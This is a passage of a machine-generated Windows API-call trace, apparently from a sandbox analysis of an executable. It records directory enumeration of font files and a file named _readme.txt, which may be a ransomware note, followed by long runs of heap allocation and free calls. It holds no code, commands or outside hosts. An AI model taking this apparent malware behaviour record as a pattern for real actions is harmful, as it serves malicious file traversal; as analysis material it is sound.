ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0066.441] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0066.441] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3226190, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb3226190, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3226190, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.441] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3226190, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb3226190, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3226190, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.441] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.441] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.441] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602f8 | out: hHeap=0x5d0000) returned 1 [0066.441] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602f8 [0066.441] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.441] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.441] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.441] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.441] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.441] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.441] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.441] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.441] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.441] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.441] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.441] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.441] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.442] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.442] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.442] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.442] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.442] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.442] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.442] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.442] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.442] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.442] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.442] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.442] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.442] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.442] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.442] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.442] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.442] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.442] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.442] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.442] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.442] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.442] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.442] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.442] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.442] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.442] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.442] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.442] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.442] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.442] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.442] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.442] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.442] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.442] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.443] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.443] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.443] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.443] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.443] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.443] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.443] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.443] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.443] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.443] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.443] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.443] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.443] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.443] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.443] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.443] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.443] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.443] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.443] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.443] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.443] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.443] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.443] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.443] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.443] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.443] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.443] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.443] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.443] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.443] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.443] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.443] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.443] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.444] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.444] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.444] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.444] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.444] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.444] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.444] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.444] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.444] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.444] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.444] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.444] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.444] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.444] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.444] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.444] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.444] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.445] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.445] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.445] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.445] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.445] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.445] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.445] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.445] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.445] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.445] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.445] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.445] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.445] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.445] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.445] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.445] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.445] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.445] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.446] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.446] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.446] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.446] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.446] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.446] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.446] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.446] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.446] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.446] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.446] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.446] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.446] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.446] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.446] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.446] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.446] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.446] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.447] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.447] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.448] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.448] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.448] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.448] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: 